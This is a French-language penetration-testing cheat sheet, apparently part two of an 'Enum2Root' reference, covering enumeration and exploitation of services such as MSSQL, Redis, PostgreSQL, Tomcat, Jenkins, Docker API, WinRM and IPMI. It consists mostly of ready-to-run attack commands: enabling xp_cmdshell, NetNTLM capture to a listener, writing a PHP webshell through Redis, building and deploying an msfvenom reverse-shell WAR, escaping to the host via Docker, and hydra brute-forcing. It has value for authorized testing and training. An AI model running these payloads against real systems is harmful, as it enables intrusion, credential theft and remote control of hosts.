Aller au contenu

1 - Énumération des services (2/2)

Cette page couvre les services moins courants de la phase d'énumération : bases de données (MS SQL, MySQL, PostgreSQL, Oracle, MongoDB, Redis), services de gestion à distance (RDP, WinRM, VNC), partages et API (NFS, rsync, Docker), serveurs d'applications (Tomcat, Jenkins, AJP) et matériel d'administration (IPMI / BMC). Chaque section reprend les commandes exactes d'Enum2Root et renvoie vers des références vérifiées (HackTricks et documentation officielle des outils ou éditeurs).

Jetons

Les commandes utilisent des jetons à substituer par vos valeurs :

  • {IP} - adresse IP de la cible
  • {DOMAIN} - domaine Active Directory (ex. target.local)
  • {URL} - URL de base du service web
  • {USER} - nom d'utilisateur
  • {PASS} - mot de passe (ou hash NT pour le pass-the-hash)
  • <listener_ip>, <SID>, <module>, <share>, <export>, <db>, <col> - valeurs à adapter au contexte

Les needs indiqués après certains titres d'étape sont des prérequis : il faut déjà disposer de l'élément cité (compte, identifiants, hash, droits) pour exécuter l'étape.

1433 - MS SQL Server

MS SQL Server (MSSQL). Authentification SQL ou Windows. xp_cmdshell = exécution de commandes (rôle sysadmin requis).

Connexion (prérequis : authentification)

impacket-mssqlclient {DOMAIN}/{USER}:{PASS}@{IP} -windows-auth

Voir aussi : impacket - mssqlclient.py · Kali - impacket

Énumération des bases (prérequis : authentification)

SELECT name FROM master.dbo.sysdatabases;
enum_db

RCE via xp_cmdshell (si sysadmin) (prérequis : authentification)

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Voir aussi : Microsoft Learn - xp_cmdshell

Capture/relais NetNTLM (xp_dirtree) (prérequis : authentification)

EXEC master..xp_dirtree '\\<listener_ip>\share';  -- responder/ntlmrelayx listening

Voir aussi : HackTricks - Types of MSSQL users

3306 - MySQL

MySQL (MySQL). Tentez root sans mot de passe.

Connexion root sans mot de passe

mysql -h {IP} -u root

Connexion authentifiée (prérequis : identifiants)

mysql -h {IP} -u {USER} -p

Énumération (prérequis : identifiants)

SHOW DATABASES; SELECT user,authentication_string FROM mysql.user;

2049 - NFS

NFS (NFS). Escalade possible via no_root_squash.

Lister les exports

showmount -e {IP}

Monter un export

mkdir /mnt/nfs
sudo mount -t nfs -o vers=3 {IP}:/<export> /mnt/nfs -o nolock

3389 - RDP

RDP (RDP). Testez NLA et les identifiants éventuellement obtenus.

Vuln BlueKeep

sudo nmap -p3389 --script rdp-vuln-ms12-020 {IP}

Voir aussi : Nmap NSE - rdp-vuln-ms12-020

Vérifier l'accès (prérequis : authentification)

nxc rdp {IP} -u {USER} -p {PASS}

Session graphique (prérequis : identifiants)

xfreerdp /v:{IP} /u:{USER} /p:'{PASS}' /cert:ignore +clipboard /dynamic-resolution

Voir aussi : Kali - freerdp3

Pass-the-hash RDP (Restricted Admin) (prérequis : hash NT)

xfreerdp /v:{IP} /u:{USER} /pth:{PASS} /cert:ignore

5985/5986 - WinRM

WinRM (WinRM). Un membre de Remote Management Users obtient un shell direct.

Vérifier l'accès (prérequis : authentification)

nxc winrm {IP} -u {USER} -p {PASS}

Shell interactif (prérequis : identifiants)

evil-winrm -i {IP} -u {USER} -p '{PASS}'

Voir aussi : Evil-WinRM - dépôt officiel

Shell pass-the-hash (prérequis : hash NT)

evil-winrm -i {IP} -u {USER} -H {PASS}

6379 - Redis

Redis (Redis). Souvent sans authentification. RCE possible via écriture de fichier ou modules.

Connexion / info / config

redis-cli -h {IP}
redis-cli -h {IP} INFO
redis-cli -h {IP} CONFIG GET '*'

Voir aussi : Redis - redis-cli

Lister / lire les clés

redis-cli -h {IP} --scan
redis-cli -h {IP} KEYS '*'

Webshell via écriture de fichier

redis-cli -h {IP} config set dir /var/www/html
redis-cli -h {IP} config set dbfilename shell.php
redis-cli -h {IP} set x '<?php system($_GET["c"]); ?>'
redis-cli -h {IP} save

Voir aussi : Redis - Security

5432 - PostgreSQL

PostgreSQL (PostgreSQL). Tentez postgres/postgres. RCE via COPY ... PROGRAM (superuser).

Connexion

psql 'host={IP} user=postgres password=postgres'
nxc postgres {IP} -u postgres -p postgres

Énumération

\l   -- databases
\du  -- roles
SELECT version();

RCE (COPY TO PROGRAM)

COPY (SELECT '') TO PROGRAM 'id';

Voir aussi : PostgreSQL - COPY

1521 - Oracle

Oracle TNS (Oracle TNS). odat = couteau suisse. Brute des SID puis des comptes.

Énumération SID / version

odat all -s {IP}
tnscmd10g version -h {IP}

Voir aussi : Kali - tnscmd10g

Brute des comptes

odat passwordguesser -s {IP} -d <SID>

Voir aussi : ODAT - dépôt officiel

873 - rsync

rsync (rsync). Les modules sont parfois listables/téléchargeables sans authentification.

Lister les modules

rsync -av --list-only rsync://{IP}/

Télécharger un module

rsync -av rsync://{IP}/<module>/ ./loot/

8080 - Apache Tomcat

Apache Tomcat (Tomcat). Identifiants par défaut tomcat/tomcat, admin/admin. Déployer un WAR = RCE.

Accès au Manager

# /manager/html  /host-manager/html
hydra -L users.txt -P pass.txt {IP} -s 8080 http-get /manager/html

Voir aussi : Apache Tomcat - Manager App HOW-TO · Kali - hydra

Déployer un webshell WAR (prérequis : identifiants)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<listener_ip> LPORT=4444 -f war -o shell.war
curl -u {USER}:{PASS} -T shell.war '{URL}:8080/manager/text/deploy?path=/shell'

Voir aussi : Kali - Metasploit Framework (msfvenom)

8080 - Jenkins

Jenkins (Jenkins). La console Groovy = RCE. Tentez admin/admin et l'accès anonyme.

Détection

curl -s {URL}:8080/login | grep -i jenkins
# endpoints: /script  /scriptText  /asynchPeople/

RCE via Groovy (Script Console) (prérequis : identifiants)

# in /script:
"id".execute().text
# full Groovy reverse shell: revshells.com (Groovy option)

Voir aussi : HackTricks Cloud - Jenkins Security

2375 - Docker API

Docker API (Docker). Une API non authentifiée = root sur l'hôte via le montage de /.

Lister

docker -H tcp://{IP}:2375 ps
curl -s http://{IP}:2375/version

Voir aussi : Docker - Engine API reference

Évasion (monter le FS de l'hôte)

docker -H tcp://{IP}:2375 run -v /:/mnt -it alpine chroot /mnt sh

8009 - AJP / Ghostcat (CVE-2020-1938)

AJP (AJP). Lecture/inclusion de fichiers via le connecteur AJP de Tomcat.

Lire WEB-INF/web.xml

python3 ajpShooter.py http://{IP} 8009 /WEB-INF/web.xml read

Voir aussi : Ghostcat-CNVD-2020-10487 (ajpShooter) - dépôt

27017 - MongoDB

MongoDB (MongoDB). Souvent sans authentification.

Connexion / énumération

mongosh mongodb://{IP}:27017
# show dbs ; use <db> ; show collections ; db.<col>.find()

Voir aussi : MongoDB - mongosh (MongoDB Shell)

5900 - VNC

VNC (VNC). Mot de passe parfois faible ou absent.

Connexion

vncviewer {IP}::5900

Brute force

hydra -P /usr/share/wordlists/rockyou.txt vnc://{IP}

Voir aussi : Kali - hydra

623 - IPMI / BMC

IPMI / BMC (IPMI). Dump de hash via RAKP (CVE-2013-4786), même sans identifiants.

Dump des hash

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
# crack: hashcat -m 7300 ipmi.txt /usr/share/wordlists/rockyou.txt

Voir aussi : CVE-2013-4786 (IPMI RAKP) - CVE.org